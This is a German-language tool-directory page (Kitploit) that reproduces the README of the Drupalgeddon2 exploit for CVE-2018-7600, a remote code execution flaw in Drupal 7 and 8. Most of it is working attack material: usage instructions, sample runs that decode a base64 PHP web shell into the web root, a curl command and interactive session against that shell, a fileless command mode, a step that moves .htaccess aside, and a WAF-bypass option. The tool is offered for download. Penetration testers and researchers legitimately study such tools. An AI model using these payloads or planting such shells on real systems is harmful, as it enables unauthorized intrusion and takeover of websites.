Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Drupalgeddon2 — Exploit für Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002) | Kitploit
Tools/GitHubGitHub/dreadlocked/drupalgeddon2
Payload-GenerierungSchwachstellenanalyseExploitationShellcodeWebanwendungs-ExploitationPenetrationstests
GitHubdreadlocked/drupalgeddon2

Drupalgeddon2

Exploit für Drupal v7.x + v8.x (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

Repository anzeigen
60016923vor 5 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

Unterstützt:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ user/register URL, Angriff auf account/mail & #post_render Parameter, unter Verwendung von PHPs passthru Funktion
  • Drupal < 7.58 ~ user/password URL, Angriff auf triggering_element_name-Formular & #post_render Parameter, unter Verwendung von PHPs Funktion
passthru
  • Funktioniert mit direkten Befehlen (auch dateilose Methode) oder schreibt eine PHP-Shell in das Web-Root (./) oder Unterverzeichnisse (./sites/default/ & ./sites/default/files/)
  • Unterstützt Linux & Windows Ziele
  • Erkennt Drupal-Version automatisch (oder macht eine gute Schätzung!)
  • Die user/register Methode wurde für Drupal v8.x gewählt, da sie HTTP 200 zurückgibt und die Ausgabe in der data JSON-Antwort rendert (kommentieren Sie den Code für timezone/#lazy_builder Methode aus, die HTTP 500 zurückgibt und blind ist!) (Weitere Informationen)

    Autoren:

    • Hans Topo (@_dreadlocked)
    • g0tmi1k (@g0tmi1k)

    Hinweise:

    • Für fortgeschrittene Benutzer/Setups gibt es einen anpassbareren Exploit. Siehe den Abschnitt drupalgeddon2-customizable-beta.rb
    • Bevor Sie ein Issue eröffnen, lesen Sie bitte den Fehlerbehebungsabschnitt am Ende. Danke!

    Verwendung:

    root@kitploit:~
    $ ruby drupalgeddon2.rb
    Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
           ruby drupalgeddon2.rb https://example.com
    $
    

    Die Parameter --verbose und --authentication können in beliebiger Reihenfolge nach hinzugefügt werden und sind beide optional. Wenn --authentication angegeben wird, werden Sie aufgefordert, Folgendes einzugeben:

    • Benutzername,
    • Passwort,
    • Formularfeldname für Benutzername,
    • Formularfeldname für Passwort,
    • URL-Pfad zur Web-Loginseite, z.B. user/login
    • eventuelles Suffix, das nach den Anmeldeinformationen im Formularübermittlung angehängt werden soll, z.B. form_id, etc.

    Dies dient zur Unterstützung von Websites, die zuerst einen POST-basierten Web-Login erfordern und nach erfolgreicher Authentifizierung mit einem Session-Cookie antworten.

    Drupal v8.x Beispiel

    Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-8/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-8/
    --------------------------------------------------------------------------------
    [!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
    [+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal?: v8.x
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo TTTBBJJBP
    [+] Result : TTTBBJJBP
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
    --------------------------------------------------------------------------------
    [i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
    ubuntu140045x64-drupal>> uname -a
    Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
    ubuntu140045x64-drupal>>
    

    Drupal v7.x Beispiel

    Drupal < v7.58

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-7/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-7/
    --------------------------------------------------------------------------------
    [+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal!: v7.31
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo TKYPVVJJ
    [+] Result : TKYPVVJJ
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
    --------------------------------------------------------------------------------
    [i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'
    
    ubuntu140045x64-drupal>> uptime
     14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
    ubuntu140045x64-drupal>>
    

    Direkte Befehle / Keine PHP-Shell (auch dateilose Methode)

    Wenn Sie nicht einmal versuchen möchten, eine PHP-Webshell auf den Webserver zu schreiben, bearbeiten Sie die Datei wie gezeigt (es wird auf einen anderen Pfad zurückfallen, falls kein beschreibbarer Ort gefunden wird):

    root@kitploit:~
    try_phpshelltryphpshell = false
    

    Beispiel

    root@kitploit:~
    $ ./drupalgeddon2.rb http://localhost/drupal-nonwrite/
    [*] --==[::#Drupalggedon2::]==--
    --------------------------------------------------------------------------------
    [i] Target : http://localhost/drupal-nonwrite/
    --------------------------------------------------------------------------------
    [!] MISSING: http://localhost/drupal-nonwrite/CHANGELOG.txt    (HTTP Response: 404)
    [+] Found  : http://localhost/drupal-nonwrite/core/CHANGELOG.txt    (HTTP Response: 200)
    [+] Drupal?: v8.x
    --------------------------------------------------------------------------------
    [*] Testing: Code Execution
    [i] Payload: echo HYCBAIET
    [+] Result : HYCBAIET
    [+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
    --------------------------------------------------------------------------------
    [*] Testing: Writing To Web Root (./)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    [*] Testing: Writing To Web Root (sites/default/)
    [i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    [*] Testing: Writing To Web Root (sites/default/files/)
    [*] Moving : ./sites/default/files/.htaccess
    [i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/s.php
    [+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
    [!] Target is NOT exploitable for some reason [1] (HTTP Response: 403)...    May not be able to execute PHP from here?
    [!] FAILED: Couldn't find writeable web path
    --------------------------------------------------------------------------------
    [*] Dropping back to direct commands
    drupalgeddon2>> lsb_release -a
    Distributor ID:	Ubuntu
    Description:	Ubuntu 14.04.5 LTS
    Release:	14.04
    Codename:	trusty
    drupalgeddon2>>
    

    Proxy-Unterstützung

    Für Proxy-Unterstützung (z.B. Burp), bearbeiten Sie die Datei und ersetzen Sie die Werte. Beispiel:

    root@kitploit:~
    proxy_addr = "192.168.0.130"
    proxy_port = 8080
    

    Experimentell aber nutzbar: drupalgeddon2-customizable-beta.rb

    drupalgeddon2-customizable-beta.rb ist für fortgeschrittene Benutzer gedacht, da es anpassbarer ist. Es erlaubt Ihnen, einige weitere Parameter anzugeben, wie die zu verwendende PHP-Methode (nicht nur system() oder passthru()) und den Weg zum Benutzer/Passwort-Formular.

    Verwendungsbeispiele:

    root@kitploit:~
    Usage example: ./drupalgeddon-customizable-beta.rb -u http://example.com/ -v 7 -c id
    More info: -h
        -u, --url URL                    [Required] Service URL
        -v, --version VERSION            [Required] Target Drupal version {7,8}
        -c, --command COMMAND            [Required] Command to execute
        -m, --method PHP_METHOD          [Optional] PHP Method to use, by default: passthru
            --form                       [Optional] Form to attack, by default '/user/password' in Drupal 7 and '/user/register' in Drupal 8
            --cloudflare                 [Optional] Tries to bypass Cloudflare using Lua-Nginx +100 parameters WAF Bypass
        -h, --help                       Prints this help
    

    Fehlerbehebung:

    • Wenn Sie einen Fehler vom Typ cannot load such file "LoadError" erhalten, führen Sie sudo gem install <fehlende Abhängigkeit> aus. Insbesondere müssen Sie möglicherweise die Abhängigkeit highline mit sudo gem install highline installieren.

    • Das Ziel könnte auf einen anderen Pfad umleiten, wo Drupal existiert (z.B. HTTP 30x-Antworten)

      • Lösung: Stellen Sie sicher, dass Sie den richtigen Drupal-Pfad verwenden.
    • Es gibt eine Einschränkung der erlaubten Zeichen, die im Payload/Befehl verwendet werden können

      • Lösung: Dies liegt daran, wie die Sicherheitslücke sie sieht und sie für die URL-Anfrage kodiert werden. Kodieren Sie den Payload und dekodieren Sie ihn im Ziel. Z.B. base64.
    • Wenn das Ziel Linux ist und nicht "GNU base64" verwendet, könnte es die BSD-Version sein (oder es ist gar nicht installiert!)

      • Lösung: which zu base64 -D (statt base64 -d) oder die dateilose Methode verwenden.
    • Wenn das Ziel Windows verwendet, schlägt das Schreiben der PHP-Shell immer fehl

      • Lösung: Verwenden Sie die dateilose Methode. Dies liegt daran, dass die Ausgabe an ein Unix-Programm weitergeleitet wird, anstatt certutil oder PowerShell zu verwenden.
    • Drupal v8.x - ./.htaccess verhindert, dass PHP-Skripte in ./sites/default/ ausgeführt werden, wenn dies der beschreibbare Ordner ist

      • Lösung: Wechseln Sie zur dateilosen Methode.
    • Drupal v8.x - "clean URL" ist auf dem Ziel nicht aktiviert

      • Lösung: N/A - Nicht anfällig =(
    • Drupal v7.x - Wenn das /user/password-Formular deaktiviert ist, müssen Sie ein anderes Formular finden (denken Sie daran, den Exploit zu ändern!)

      • Lösung: Der Parameter form_id ändert sich je nach verwendetem Formular zur Ausnutzung der Sicherheitslücke.

    Links:

    • Drupal SA-CORE-2018-002 Advisory ~ https://www.drupal.org/sa-core-2018-002
    • CVE ~ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600
    • Ausarbeitung & Forschung ~ https://research.checkpoint.com/uncovering-drupalgeddon-2/
    • cURL-Befehle/Beispiel-PoC ~ https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708
    Tool herunterladen